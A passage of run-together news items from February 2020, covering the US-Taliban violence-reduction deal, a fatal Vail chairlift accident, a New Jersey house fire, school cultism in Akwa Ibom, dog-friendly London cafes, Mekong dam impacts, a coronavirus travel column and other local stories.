forces will also retaliate to any violation of the understanding. US Secretary of State Mike Pompeo said on Friday that upon successful implementation of this agreement, the US would move to sign a peace deal with the Taliban on February 29. Soon after Pompeos announcement, Taliban spokesman Zabihullah Mujahid confirmed the development and said both sides will invite senior representatives to take part in the peace deal signing ceremony. The Talibans statement also said the signing of the peace deal would be followed by intra-Afghan talks with various political parties in the country. The Afghan armed group, which was removed from power in a US-led invasion in 2001, has previously refused to speak directly to the Kabul government, which it denounces as a US puppet. Historic opportunity The two sides have been wrangling over the US demand for putting a ceasefire in place before the final peace agreement is signed. The deal is expected to outline the withdrawal of US troops and a guarantee that Afghan soil will not be used as a launchpad to conduct attacks on foreign countries. The talks were launched in 2018 as part of a push by US President Donald Trumps administration to strike a deal with the Taliban, which has been fighting the US-led forces in Afghanistan since it was toppled from power in 2001. Trump has long expressed eagerness to bring US soldiers home and to end the countrys longest war as he seeks re-election in 2020. The two sides were on the verge of signing a peace agreement in September when Trump abruptly cancelled the talks after a Taliban attack killed an American soldier. About 14,000 US troops and some 17,000 troops from 39 NATO allies and partner countries are stationed in Afghanistan in a non-combatant role. Despite the heavy US presence, the Taliban now controls or holds influence over more Afghan territory than at any point since 2001 and has carried out near-daily attacks against military outposts throughout the country. Pakistan and NATO welcomed Fridays announcement. We hope the Afghan parties would now seize this historic opportunity and work out a comprehensive and inclusive political settlement for durable peace and stability in Afghanistan and the region, said a statement from the Pakistani Ministry of Foreign Affairs. NATO Secretary-General Jens Stoltenberg said the RIV will be a critical test of the Talibans willingness and ability to reduce violence. He added: This could pave the way for negotiations among Afghans, sustainable peace, and ensuring the country is never again a safe haven for terrorists. Afghan political analyst Haroun Mir said although the announcement was a significant development, intra-Afghan talks would prove to be a major challenge. In order to reach a final settlement, we have to go through painful negotiations between the Afghan government and the Taliban and be able to make mutual concessions, he said. Reaching a compromise will take a long time, which requires the blessings of all major stakeholders in the country, as well as regional powers and Afghanistans neighbours. The deal comes as Afghanistan is in the middle of a surge in violence. More than 100,000 Afghans have been killed or injured since 2009 when the United Nations Assistance Mission in Afghanistan began documenting casualties. About 34,000 Afghan civilians have been killed during that period, many of them children. Jason Varnish, 46 years old, from New Jersey, died from asphyxia at a ski resort in Vail, Colorado after he slipped through an opening in a chairlift and got caught by his own coat. Vail Mountain said in a statement that Varnish died due to the serious injury he had after he got stuck on a chair lift and his coat wrapped around his head and neck. According to a news outlet, Jason Varnish boarded the Skyline Express in the Blue Sky Basin on chair 37 when he fell through an opening in the seat and was caught by his coat that wrapped his neck and head. It was also found that the chair was left in an upright position that caused the man to fall. Eagle County coroner Kara Bettis told The Daily Vaily that Varnish died of positional asphyxia. Meanwhile, the Vail Mountain Ski Patrol said that they responded immediately after knowing the incident. They performed CPR and emergency on-care before they took Varnish to Vail Health. However, the man was declared dead when they arrived. In a statement released by Vail Mountain, they said that the lift had been thoroughly inspected before it was used and was operating normally. However, Vail Mountain said that they are taking the incident seriously and are now conducting an investigation. Beth Howard, the chief operating officer of Vail Mountain said that the Vail Mountain and the entire family of Vail Moutain resorts expressed their condolences to the family, family's guests, and friends. They also added that they will support the family in this time of sorrow. Moreover, NBC News tried to reach out to Bettis for more details about the incident but she did not give any comments yet. In another news report, it was also found out that Jason Varnish attempted to load the Skyline Express Lift that led him to his death. According to the Associated Press, the operators where the incident happened known as the Blue Sky Basin did an investigation was closed for 24 hours before they opened again on Friday. The death of Jason Varnish due to asphyxia came during a dangerous weekend in the area. In a report obtained from a CNN affiliate, it was found out that men got killed and buried because of an avalanche on mono track snow bikes in Eagle County. These are only a few of the tragic events that occurred in the Vail Mountain during the President's Day weekend. It was reported that some lost their lives and that includes the death of Jason Varnish while others were able to prevent some tragic incidents. Eagle County Sheriff James Van Beek said: "Presidents Day is always kind of where our rule thumb is that we're going to start looking at more extreme avalanche conditions or more serious avalanche conditions. And true to form, it's happening," He also warned the guests and anyone coming in his place following the death of two persons who were buried and killed due to an avalanche. With the snow continuing in the mountain, the Colorado Avalanche Information Center posted already warnings about the danger that the avalanche can cause. Avalanche Forecaster Spencer Logan said: "Right now across most of the northern and central mountains avalanche conditions are dangerous. People are triggering very large avalanches and sometimes They're triggering them from a distance." A fire engulfed a three-story house in Clifton on Thursday afternoon and left 21 people without a home, authorities said. A call of a fire at a home on the 400 block of Lexington Avenue came in at 2:26 p.m. and the blaze had reached three alarms about 15 minutes later, Fire Chief Frank Prezioso said. One woman had to be rescued by firefighters from a second floor window before she tried to jump from it, officials told NorthJersey.com. She was taken to a local hospital but her injuries were not considered non-life threatening, the Passaic County Prosecutors Office said in a statement late Thursday night. The fire was eventually brought under control and two police officers who responded to the scene were treated for smoke inhalation, Prezioso said. The Red Cross provided temporary lodging, food and clothing for 21 people from four families affected by the blaze, the organization said. The cause and origin of the fire remained under investigation Thursday evening. No charges have been filed at this time, however this investigation remains active and ongoing, a prosecutors office spokesperson said. The Passaic County Prosecutors Office asked anyone with information about this incident to contact their tips line at 1-877-370-PCPO or tips@passaiccountynj.org or the Clifton Police Department at (973) 470-5900. Rodrigo Torrejon may be reached at rtorrejon@njadvancemedia.com. Follow him on Twitter @rodrigotorrejon. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Chris Sheldon may be reached at csheldon@njadvancemedia.com. Follow him on Twitter @chrisrsheldon Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "Clinical Laboratory Services Market, 5th Edition" report has been added to ResearchAndMarkets.com's offering. Clinical Laboratory Services Market examines the world and regional markets and is essential for laboratory and IVD companies seeking to better understand the market potential. The report provides the reader with an overview of the clinical laboratory industry and the trends driving growth. Included in the report are statistics influencing the industry, incidence of diseases in the U.S. and worldwide demographics, life expectancy, and company strategies. Both global and regional market overviews are presented. Markets by Specialty Clinical laboratories offer a wide range of tests and services to meet the needs of the medical industry. The majority of laboratory tests are considered routine and are performed by broadly trained professionals and are often returned to the ordering physician within hours. Tests that require more specialty-trained professionals are often more costly and require more time to process. For the purpose of this study, laboratory testing has been classified into five general segments: clinical chemistry - routine & essential testing, immunology and microbiology testing, cytology and histology testing, genetic testing, and toxicology testing. Market by Provider Group The report presents a provider overview of the market, segmented into three broad groups: hospitals/acute care, physician offices/outpatient clinics, and independent. Market by Region The report examines the market in terms of key regions, covering Northern America (United States, Canada), EMEA (Germany, France, Italy, Spain, United Kingdom, Switzerland, Rest of EMEA), Asia Pacific (China, Japan, India, South Korea, Australia, Rest of Asia Pacific), and Latin America (Brazil, Mexico, Rest of Latin America). Global Competitor Summary The report provides an analysis of leading market participants. The report presents profiles of competitors in the market, including company overviews; performance reviews; key acquisitions, alliances, and partnerships; products and services; and company growth strategies. Key Topics Covered Chapter One: Executive Summary Industry at a Glance Scope and Methodology Global Market Overview Market Conclusions Key Issues and Trends Affecting the Market Leading Market Participants Chapter Two: Industry Overview Clinical Laboratory Description Number of Laboratory Health Workers by Country The Largest Clinical Laboratory Market: The United States Structure and Regulation in the U.S. Laboratory Developed Test Regulations Directive 98/79/EC Health Canada Changes and Forecasted Action Payers and Reimbursement Laboratory Service Payer Types Trends in Medicare Reimbursement Health Care Reform Protecting Access to Medicare Act (PAMA) of 2014 Advanced Laboratory Tests (ADLT) Bundled Insurance Payments for ESRD Patients Commercial Insurance Providers Transparency in Pricing Direct-to-Consumer Testing DTC in Genetic Testing Expanding Cancer Test Utilization and Technologies LabCorp and QIAGEN Launch new Companion Diagnostic for Metastatic Breast Cancer Therapy Foundation Medicine signs $111M contract with Department of Veterans Affairs Quest Diagnostics Attention to Oncology The Role of Information Technology Industry Drivers Global Demographics Chronic Diseases and Conditions Surgical Procedure Volumes Economic Performance Chapter Three: Testing Services by Specialty Test and Services Overview Clinical Chemistry - Routine and Essential Testing Routine Clinical Chemistry Cholesterol Level Testing Urinalysis Hematology Coagulation Endocrinology Immunology and Microbiology Allergy and Food Intolerance Tumor Markers Cardiac Markers HIV Testing Cytology and Histology Testing Pap Test Genetic Testing Toxicology Testing Chapter Four: Global Clinical Laboratory Market by Provider Group Clinical Laboratory Market: Provider Overview Hospitals and Acute Care Providers Physicians and Outpatient Care Providers Physician Offices Global Nursing Establishments and Assisted Living Facilities Global Dialysis Clinics Independent Laboratory Providers Chapter Five: North America Market Overview United States U.S. Market Analysis by Test Type U.S. Market Analysis by Laboratory Provider Type U.S. Clinical Laboratory Industry Structure Independent Clinical Laboratories Hospital-based Laboratories Physician-office and Clinic Laboratories Nursing Facility and Home Health Pharmacy-based Laboratories Dialysis Clinics Canada Chapter Six: EMEA Market Overview Germany France Italy Spain United Kingdom Switzerland Rest of EMEA Middle East Turkey Chapter Seven: Asia Pacific Market Overview Japan China India South Korea Australia Rest of Asia Pacific Singapore Indonesia Philippines Taiwan Chapter Eight: Latin America Market Overview Brazil Mexico Rest of Latin America Argentina Chile Colombia Peru Venezuela Chapter Nine: Leading Market Participants Global Competitor Summary U.S. Competitive Analysis Abbott Laboratories ACM Global Laboratories, Inc. ARUP Laboratories BioReference Laboratories - An OPKO Health Subsidiary DaVita, Inc. Exact Sciences Corp. Eurofins Scientific SE Laboratory Corporation of America (LabCorp) Miraca Holdings, Inc. Myriad Genetics, Inc. NeoGenomics, Inc. Quest Diagnostics, Inc. Siemens Healthineers Sonic Healthcare Limited Spectra Laboratories: A Fresenius Company SYNLAB International GmbH (SYNLAB Bondco PLC) Chapter Ten: Market Trends and Summary Global Market Overview Regional Overview Trends Population Growth Aging Populations Increasing Disease Burden Economic Growth in Developing Regions Stabilizing Economies in Developed Regions Pricing Pressures Focusing on Efficient Health Systems Overall Growth in Demand for Health Care Services For more information about this report visit https://www.researchandmarkets.com/r/3v57hp Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. The ills of cultism in Akwa Ibom secondary schools have become the focus of public discourse in the state, hours after the state government indefinitely shut a technical college in Uyo because of violent students protest. The school, Government Technical College, Ewet, is notorious for violence clashes either among the students or against another secondary school nearby. Cultism is believed to be the remote cause of the violence which, the police said, has left a divisional police officer hospitalised after he was attacked by students. Two teachers in the school have sustained serious injuries, while 11 students have been arrested so far, according to the police. The Akwa Ibom State House of Assembly, during plenary on Thursday, condemned the rise of cultism across secondary schools in the state. The debate on cultism in secondary schools was prompted by a motion from the member representing Ibiono Ibom State Constituency, Godwin Ekpo. A statement from the media office of the Speaker, Aniekan Bassey, said the state assembly is worried that teenagers in secondary schools now carrying axes, cutlasses and other dangerous weapons instead of focusing on their studies. A lawmaker representing Esit Eket/ Ibeno State Constituency, Usoro Akpanusoh, said on the floor of the House that the way cultism is going in Akwa Ibom secondary schools is how the terrorist group, Boko Haram, started. If we do not act now, we may be swallowed, Mr Akpanusoh said. To solve the problem of cultism in our schools, we have to go beyond the scope of addressing the problem in our secondary schools. We have to propose a motion that every known cultist should be prohibited from holding public office because these children see them prosper and are encouraged to join so as to prosper too, said the member representing Nsit Atai State Constituency, Mark Esset, in his contribution to the debate. Another lawmaker, Aniekan Uko, said the problem of cultism in secondary schools is more complex because parents, according to him, were buying guns for their children, and the teachers and police officers are cultists too. We cant sit down here to blame the students alone. We should start from the home because parental guide is the key. We have to be honest with ourselves; are we doing well as a government to discourage cultism? These children do they have what to keep them engaged in school? Some of the teachers are known cultists. What do you expect from the students? Some of the policemen called to address the issue are still cultists. Some parents when these children are growing, you buy gun and give them. What do you expect them to become? It is time teachers should be interrogated and investigated if they are cultists during recruitment, before they are employed, said Mr Uko who represents Ibesikpo-Asutan State Constituency. The Speaker, Mr Bassey, after listening to lawmakers contributions on the matter, directed the joint committees on education, security to meet with the state Ministry of Education, the state Technical School Board and the State Secondary Education Board, and submit a report to the House within a month. Meanwhile, the state government has said it would not hesitate to close down more secondary schools in the state to check indiscipline and hooliganism among students. The Commissioner for Education, Nse Essien, stated this on Thursday while addressing the Parents Teachers Association (PTA) meeting of Uyo High School, Uyo. Apart from the Government Technical College, Uyo High School is another secondary school notorious for violence within the Uyo metropolis. Vehicular traffic was disrupted for more than an hour along a major road in Uyo on Valentines Day when violence broke out in Uyo High School. You all have the duty to advise your child, Mr Essien said at the Uyo High School PTA meeting. If you cant bring up children who have good character, it means you came to earth to waste your time. All these things start at home. The government is doing so much for the children and we expect them to reciprocate by behaving well and taking their studies seriously. F rom a dog cafe with its very own grooming salon to a bakery which warmly welcomes pooches, here are some of London's best spots for pups and their humans. They even have the paw of approval from Ella The Lhasa... Maitre Choux What the humans need to know Step away from the stresses of London and inside the only choux pastry specialist patisserie in the world. The immaculate window display of the Soho cafe is always a big hit with passers-by but these delights are not just perfectly instagrammable, they are totally delicious too. They dont come cheap but quality never does and everything here is lovingly created and displayed. It is hard to know what to choose when everything looks so good but the Salted Butter with Homemade Caramel Eclair and the Vanilla Choux would be a good place to start. Or for a savoury twist try the Smoked Salmon, Yuzu Cream Cheese and Avocado. The eclairs, choux and chouquettes are not all that this gem has to offer, the hot chocolate is divine and intense enough to come in shot form. What the dogs need to know Expect adoration from the friendly team but sadly the treats are not for the doggos we are all in favour of the three Michelin star-experienced chef behind this place creating a dog friendly choux but there is no such delight on the menu yet, maitrechoux.com. Mr & Mrs Small What the humans need to know The first of its kind in central London, this dog cafe, creche, groomer and boutique is a dream spot for dog owners and dog lovers. The cafe is not just dog friendly but designed to be enjoyed as much by the dogs as the humans. Owners can have a well-priced coffee and cake in the homely setting while their dogs socialise and explore off leash. There is a real community feel created as people bond over their love of dogs and although it hasnt been open long the loyal fan base is fast growing. As expected, the staff are big animal lovers and this shows in the level of attention and affection all canine visitors receive. Day care facilities allow for doggy drop off so owners can run errands or enjoy some time to themselves knowing their dog is in safe hands in the secure indoor play area. And the high levels of individual care and attention make for top quality grooming too. Whether a simple wash and fluff or a full groom, dogs are sure to be pampered and leave feeling silky soft and smelling fresh. Downstairs the boutique stocks some ultra-stylish fashionwear and accessories from brands including Overglam which is fast becoming known for its chic knitwear, outwear and even eveningwear. The venue is a real gem set in the heart of Marylebone and well worth a visit. What the dogs need to know Quite simply, dogs ought to prepare to have a great time. Showered with love and affection from the moment they arrive, every effort is made to make them feel at home with treats, water bowls and beds. For dogs in day care, the artificial grass and play area is a great zone to run around and expel some energy. With lots of opportunities for play time and socialisation, a visit here is most likely to be followed with a well-earned nap. But before they leave, dogs should get ready to have a quick picture taken so they can join the doggy wall of fame, mrandmrssmall.co.uk. Cocotte What the humans need to know Chicken lovers everywhere should give this French farm-to-table restaurant a try. During the week, the star of the show is the free-range chicken, marinated in a secret recipe for 24 hours and served with fresh salads and sides and seven homemade sauces. At weekends the brunch offering is more varied, although chicken is of course still at the heart of the menu. The Chicken and Waffles are a real hit and the Club Sandwich is a generous portion of juicy chicken and fresh salad. Go bottomless for 18 and make the most of the perfectly blended Bloody Marys or other cocktails or beers of your choice. What the dogs need to know It is hard to resist the wafts of freshly cooked chicken as the humans tuck into their food but a well behaved pooch may be rewarded with a little taste. And if staying quietly tucked under the table indoors is too much of a struggle, there is a heated outdoor terrace with a little more space that may be easier to settle into, mycocotte.uk. Dominique Ansel What the humans need to know The offerings here, both sweet and savoury, are spectacular. The menu, comprised of lunch, brunch, viennoiserie, cookies, cakes and tarts, is vast and it is especially difficult to choose when everything tastes so good. It is no surprise that the Dominique Ansel Croque Monsiuer is a best seller this super cheesy delight is not to be missed. But be sure to leave room to enjoy the famed sweet dishes. A stunning selection of fine French patisserie is displayed in the shop to eat in or take away, including classics and more inventive options such as a Liquid Caramel Peanut Butter Mousse Cake, Blackberry Pavlova and Cotton-Soft Cheesecake. A visit here is not complete without a Cronut, the bakerys signature half croissant, half doughnut pastry. With special flavours launched monthly theres every reason to keep going back for more. What the dogs need to know Indoor seating is available but the more dog friendly space is the heated terrace with a picturesque floral wall and benches under which a well behaved dog can take a nap. Although there are not specific dog treats on the menu, generous owners might choose to share a bite of freshly baked mini madeleine or a little taste of their own dog-friendly savoury dishes. And even if an edible treat is not on the menu, good behaviour might be rewarded with a visit to luxury pet boutique Mungo & Maud which is just moments away. Cashmere sweater anyone? dominiqueansellondon.com. Chucs, Westbourne Grove What the humans need to know A beautiful place to enjoy Italian all-day dining with a restaurant split over two floors, bar and outdoor terrace. The chic interiors designed by Peter Mikic channel 1950s Italian elegance without being overly formal. The atmosphere is equally well balanced so caters for relaxed dinners or special occasions and the staff are friendly and attentive, making everyone feel welcome and well looked after. The menu offers a variety of dishes without compromising on quality and is accompanied by a great wine list. Dishes include Jerusalem Artichoke Veloute with Winter Truffle to start, Grilled Organic Salmon with Purple Sprouting Broccoli and Marjoram for main and desserts like Pistachio & Chocolate Mille-Feuille or, of course, the classic Tiramisu. What the dogs need to know This is one for the sophisticated dog who is prepared to settle into the serene surroundings and relax when the humans enjoy their meal. The outdoor terrace allows a bit more freedom to explore and, if lucky, soak up some sun in the warmer months. The local area is home to so many dogs that taking a walk around Notting Hill before visiting the restaurant should provide lots of opportunity to meet fellow canine friends and all that socialising should help a dog get ready to rest, chucsrestaurants.com. No casualties were reported among Ukrainian troops in the past day. Russia's hybrid military forces on Thursday mounted 10 attacks on Ukrainian positions in Donbas, eastern Ukraine. "The armed forces of the Russian Federation violated the ceasefire 10 times on February 20," the press center of Ukraine's Joint Forces Operation said in a Facebook update as of 07:00 Kyiv time on February 21, 2020. The enemy opened fire, employing proscribed 120mm and 82mm mortars, cannons installed on infantry fighting vehicles, grenade launchers of various types, heavy machine guns, and rifles. Read alsoDonbas escalation: Russian occupation forces attack Ukrainian troops, try to penetrate line of contact (Video) Under attack came Ukrainian positions near the towns of Maryinka and Krasnohorivka, and the villages of Novomykhailivka, Pyshchevyk, Pavlopil, Lebedynske, Starohnativka, and Novozvanivka. No casualties were reported among Ukrainian troops in the past day. "Since Friday midnight, Russia-led forces have attacked Ukrainian positions near Krasnohorivka, and the village of Orikhove, Pavlopil, and Lebedynske, using 120mm and 82mm mortars, grenade launchers of various types, heavy machine guns, and rifles," the update said. Share this article Whatsapp Facebook Twitter Linkedin Lynda Ibrahim (The Jakarta Post) Jakarta Fri, February 21, 2020 13:37 691 7f440ff09e92db75a02bbad2065cbfc0 1 Health #health,#healthcare,#lifestyle,#coronavirus,#travel,#traveling,#virus,#column,#UrbanChat Free When the news of some new virus in China broke out in early January I glanced over it and took it as less of an incentive to visit Hong Kong for Lunar New Year. I moved on to new plans: Lunar New Year in Manado and the lantern festival (Cap Go Meh) week in Laos. I rummaged through my medicine cabinet for vitamin C, but basically wasnt bothered much. When myself and travel mate Miss TamTam woke up on the last Sunday of January in Manado, Wuhan was in lockdown, while our media wrote that a Lion Air interpreter for a Wuhan-Manado flight was rushed from an unidentified hotel to a hospital for possible coronavirus infection. It couldve been our hotel, for all we knew. Miss TamTam and I braced ourselves for flying home with Batik Air, the sister of Lion Air that mightve shared a cleaning crew for all we knew. As I tumbled into my apartment, a hospital-sized hand sanitizer and cautionary announcement from building management, organized hastily during the weekend, graced the lobby. Between then and my departure to Laos nine days later, the coronavirus increasingly flooded the news and depleted Jakarta drugstores of surgical masks, hand sanitizers and vitamins. I had to rush to my pilates instructors go-to shop in Blok M to buy some masks and Echinacea. My travel mate this time, the Singapore-based Marta, said Singapore had run out of masks and sanitizers. On the other hand, Laos had direct trains across its border to China. We mulled over cancelling the trip, but we really wanted to see Laos during its supposed good weather. We survived two weeks in India. A week in Laos should be OK, we reasoned. When I left for Vientiane through Bangkok in early February, the death toll was around 300. Virtually everyone in the three international airports I was at, except for many of the intriguingly carefree Westerners, wore masks. I switched my usual sling bag for a tote bag filled with masks, high-dose vitamin C and alcohol swabs in lieu of travel-sized hand sanitizer I failed to secure. Stepping onto the aircraft, masked cabin crew greeted us. It felt a bit like entering a hazardous zone. Travelers felt the tension, even if nobody uttered corona out loud. When someone coughed, people glanced. When a man onboard our vessel sneezed repeatedly everyone turned around, only to be horrified that he wasnt wearing any mask (to his credit, he covered his mouth). The same man was with wife and three young children, the youngest strapped onto his wifes back, none of whom were masked. I saw School of Public Health emblazoned on his laptop bag. I suppose he knew something I didnt. Although they didnt report any active cases, the Lao government welcomed international passengers with four health professionals, hand sanitizers and flyers in three languages prior to immigration. As we started to explore Laos, most tourism workers, including night market peddlers, wore masks. Marta and I went mask-free, but we religiously cleaned our hands with alcohol swabs after any excursion and before eating. Knowing Laos isnt yet a hot destination spot, I wasnt surprised to see the low number of visitors, until a hotel clerk told me that the occupancy rate had dipped noticeably. Out there, the world went berserk. The death toll doubled to 600 as we arrived in Luang Prabang and broke the 1,000 level after I got home. Deaths outside China started occurring, as well as patients with no direct contact with China. Cruise ships got quarantined. One was turned away multiple times before Cambodia opened a port. Singapore increased its emergency level to Orange, triggering a supermarket rush. Marta bought any masks she saw while I gave her my disinfectant soap before we parted ways. At Soekarno-Hatta airport, detailed paperwork from the Health Ministry awaited me. Dont get me wrong we had a good time in Laos. We trekked to caves, waterfalls and animal sanctuaries. We took a sunset river cruise. We even saw a solemn ritual to close New Year festivals at a royal temple. But as the mysterious virus loomed large we inevitably behaved differently, shying away from roadside hawkers and allotting more sleep. By the time you read this column it will have been 13 days since my return, and Im pleased to report that Im in good health. The coronavirus has claimed over 2,000 deaths, with Indonesians overseas reported to have fallen sick crushing a widespread unscientific claim that somehow Indonesians are immune to a new virus nobody has had a chance to develop an antibody for. Marta and I went ahead with our Laos trip, but the 20,000 cancellations since January for Bali alone, as reported by the Indonesian Hotel and Restaurant Association, showed most people arent as adventurous. London Fashion Week suffered from a drop of Chinese trade buyers. Louis Vuitton Moet Hennessy, the worlds largest luxury goods conglomeration that relies on the burgeoning Chinese market, revised its projections. The latest statistic showed new cases have slowed down, but there is still neither vaccine nor guarantee of the outbreak dying down. The Middle East was reporting its first coronavirus death as I wrote this column. Ive scrapped my March travel plan, but how long can business travelers or the export-import industry afford to get disrupted? How long can the vulnerable tourism and hospitality market sustain the downturn? As chilling as that sounds, traveling in the time of the coronavirus may just be a new reality. And to think 2020 is still in February. Lord have mercy. (ste) -- Lynda Ibrahim is a Jakarta-based writer with a penchant for purple, pussycats and pop culture. Mekong river dams disrupting lives of Southeast Asian fishermen, farmers by Nontarat Phaicharoen February 21,2020 | Source: Eurasia Review Tiem Ngern-tok pointed at the water level, shook his head and talked about dragon boat races to explain how dams in China and Laos have disrupted the lives of Thai people whose villages abut the Mekong River. During annual boat races the water was high, said Tiem, a government hydrologist at a water-measuring station in Ban Sob Kok, a village in Thailands northernmost Chiang Rai province. A colleague interrupted him: Three meters high. With water levels usually reaching about 10 feet in April, Tiem said this years numbers were exceptionally low. In previous years, the levels were a bit over 1-meter high, but that was during the driest time in April, not this soon, he told BenarNews. In March and April, it will get worse. The Mekong is the worlds 12th-longest river, stretching 4,350 km (2,703 miles) through six nations before draining into the South China Sea. More than 60 million people depend on the Mekong and its tributaries for food, transport and water. Experts say it hosts 474 species of fish the worlds most biodiverse after Brazils Amazon River. Thai farmers said their troubles on the river began when the turbines of the Xayaburi Dam started churning upstream from Nong Khai in Laos seven months ago, further disrupting the river flow that was already drying out even at the end of the rainy season. Lately there is no water. Its very dry, Mr. Chai, a fisherman in Chiang Saen who declined to provide his first name, told BenarNews. There are impacts from the dams. We can see the sandy river bed. Last month, the Mekong River Commission (MRC), an inter-governmental agency that works with regional governments to manage the rivers resources, warned that water outflows could potentially drop as Beijing said it was testing equipment at one of its 11 dams on the upper Mekong. dozens of hydropower dams on the Mekong and its tributaries in its quest to become the battery of Southeast Asia, exporting the electricity they generate to other countries in the region. Vientiane is preparing to build scores more dams in the years ahead while aiming to sell 95 percent of the Xayaburi Dams generated power to Thailand. NGO: Villagers report unprecedented bluish water But environmentalists say that dams threaten fish populations, alter the Mekongs natural hydrology and cause major soil erosion. Last week, members of the Network of Thai People in Eight Mekong Provinces submitted additional evidence to the Thai Supreme Administrative court, describing damage to fisheries and dramatic changes to the Mekongs ecosystem, while also challenging the legitimacy of a power-purchase agreement between Laos and Thailand. During this period, downstream of the dam, stretches of the Mekong in seven Thai provinces experienced sharp and unusual water fluctuations, and clear blue water a phenomenon that signals an absence of the nutrients and sediment that are critical to aquatic lives and fisheries, the International Rivers NGO said in a press statement about the submission. Thailand last year said it would develop its own solar energy section, while officials said they were also reconsidering the governments decision to purchase large amounts of hydropower from Laos. Niwat Roykaew, co-founder of the Chiang Khong Conservation Group, based in Chiang Rai, and the Thai Peoples Mekong Network in Eight Provinces said the unprecedented bluish water underscored the fluctuations in water levels. These indicate troubles along all stretches of the river; impacts on fish migration, river bank erosion, impacts on flora in the Mekong, Niwat told BenarNews. The fluctuation endangers some trees, especially the water croton which is important to the Mekong, he said, referring to a shrub that helps prevent soil erosion during spawning season. Xayaburis impact, according to the dams critics, has been observed in parts of Thailands Loei province, as well as in Nong Khai, Bueng Kan, Nakhon Phanom, Mukdahan, Amnat Charoen and Ubon Ratchathani provinces. Niwat said Bangkok hadnt done enough to push for solutions. The Thai government should leverage discussions about dams water control management, how to, how much to, in accordance with seasons to keep the ecology functions, not to be severely affected like in the present, he said. But the government isnt enthusiastic to do so. Early this month, Bangkok responded to the environmental protests by rejecting Beijings plan to open up a stretch of the Mekong River in northern Thailand by blasting about 60 miles of rocks and dredging the riverbed. Chinas plan was aimed at creating a river link that would open up trade from its Yunnan province using massive cargo ships that would go through the five other Mekong countries Thailand, Myanmar, Cambodia, Vietnam and Laos. But according to International Rivers, Beijing has already built seven megadams and 20 more are under construction or being planned in Yunnan, Tibet and in Chinas landlocked northwestern province of Qinghai. The scheme will drastically change the rivers natural flood-drought cycle and block the transport of sediment, affecting ecosystems and the livelihoods of millions living downstream in Burma, Thailand, Laos, Cambodia and Vietnam, the NGO said in a statement posted on its website. Impacts to water levels and fisheries have already been recorded along the Thai-Lao border, it said. A study released by the Mekong River Commission in August 2018 showed that fish stocks in the river could fall by up to 40 percent, with a 97-percent reduction in the amount of sediment going downstream as a result of the dam projects. Last month, Thai water-resources chief Somkiat Prajamwong told BenarNews that he had documented complaints from villagers who had suffered economic hardship as a result of the rivers erratic flow, which had lowered soil fertility and hampered yield in agriculture. Somkiat said he would raise the countrys concerns during the next meeting of the river commission, expected to take place this month. We compiled from and studied those concerns of the people along the Mekong River, he said. Also in January, the Thai Ministry of Foreign Ministry responded to concerns raised about the drought and greatly reduced water levels on the Mekong and reservoirs in the region, saying this was caused by intermittent rainfall and climate change. The prime minister had instructed Foreign Minister Don Pramudwinai to visit China on Jan. 23 to discuss ways and means to alleviate the drought situation and mitigate its impact, the ministry said. That day Pramudwinai met with Wang Yi, Chinas state councilor and foreign minister, the ministry said in a statement. Both sides agreed that the severity of the drought situation caused by global warming has been affecting every riparian country, including China. The Thai Foreign Minister sought cooperation from the Chinese Government in alleviating this problem and mitigating the impact faced by the people in the downstream countries, the ministry said. Pra Apichart Ratigo, the abbot at the Sob Kok Temple in Chiang Saen district, said the water level in the Mekong at various times during the past five years had abruptly risen or receded like someone turned a faucet on and off. So Ive noticed that the abrupt tidal changes were due to water-release control, he told BenarNews, as he called on Thai authorities to provide villagers with advance notice to water-level changes, so that people can prepare. Sometimes we would hear the news that China had released more water, but the news came late and the water came already, he said. Somdej Thanatulyakul, a fisherman in Ban Sob Kok village in Chiang Saen, a district of Chiang Rai, said the fluctuating water-level led to unpredictable fishing harvest. We caught more fish five years ago, even during dry season, he told BenarNews. The water tides are unpredictable. They change so fast, fluctuating in rapid manner. Dams have such impacts. If youve ever been startled awake in the middle of the night by the shrieking whistle of a coal-laden train rumbling through Missoula, you might be interested to learn the city is looking at ways to quiet the noise. On Thursday, the Missoula Redevelopment Agencys board authorized the agency to provide up to $26,300 in Tax Increment Financing to fund a Railroad Quiet Zone Analysis and Traffic Study. The area affected would be generally near the lower Rattlesnake. Tod Gass, a project manager with the MRA, said Missoula Mayor John Engen, City Council President Bryan von Lossberg and many concerned citizens have brought the issue forward recently. Two Montana Rail Link crossings for vehicles and pedestrians are the main problem: The Madison/Spruce/Greenough crossing and the Taylor crossing, located east of Van Buren Street. The Federal Railroad Administration requires train horns at crossings because the absence of any noise increases the risk of accidents and fatalities. However, local governments are allowed to establish railroad quiet zones if they take all the steps necessary to mitigate the risk of injury or death if the train whistles are stopped. Some options include the installation of additional signs and center medians, installation of automated traffic and pedestrian gates, and the installation of wayside horns that are localized horns directed downward at the crossing. Those dont sound pleasant to someone underneath them, but they might not reverberate as much across neighborhoods at night. Ive been hearing about this issue from my very first year on the council six years ago, von Lossberg said. He added that he surveyed local businesses on Broadway and near the train tracks. Its a real issue for them, he said. Theyve made investments in their businesses, and if you talk to any of them it comes up as a big problem right away. Neighborhood resident Cass Chinske said hes been trying to get the problem fixed for two decades. The problem has gotten many times more severe over the last five or six years because of the global warming trains that go by, he said. With all the coal train traffic, its many times more than it was. And the whistles are more powerful. On a bad night it can wake you up six or seven times a night, although a lot of people are better sleepers. The money will go to Triple Tree Engineering, which recently worked with the City of Helena to establish a railroad quiet zone there. The money would also fund a traffic safety study to assess how to reduce the risk to jaywalkers near Black Coffee Roasting Co. who are at risk of getting hit by cars. The railroad crossings are located in the Hellgate Urban Renewal District. Chinske said the MRAs action would be a positive step for the MRA because it would show they use TIF funding for things that benefit small businesses and working-class residents of Missoula. Love 0 Funny 1 Wow 0 Sad 0 Angry 0 The U.K. government is phasing out the sale of both wet wood and house coal for "domestic burning" as it seeks to encourage the use of cleaner fuels in households. In an announcement Friday, the government said coal fires and wood-burning stoves a traditional feature in many homes across the U.K. were the "single largest source" of PM2.5, a fine particular matter that is classed as a pollutant. According to the World Health Organization (WHO), industry, cars, trucks and households, "emit complex mixtures of air pollutants," a great deal of which are harmful to humans. The WHO states that, out of all of these, "fine particulate matter has the greatest effect on human health." Under the U.K. government's plans, sales of wet wood and coal for domestic burning will be phased out between 2021 and 2023. The phasing out of sales of "bagged traditional house coal" will take place by February next year, 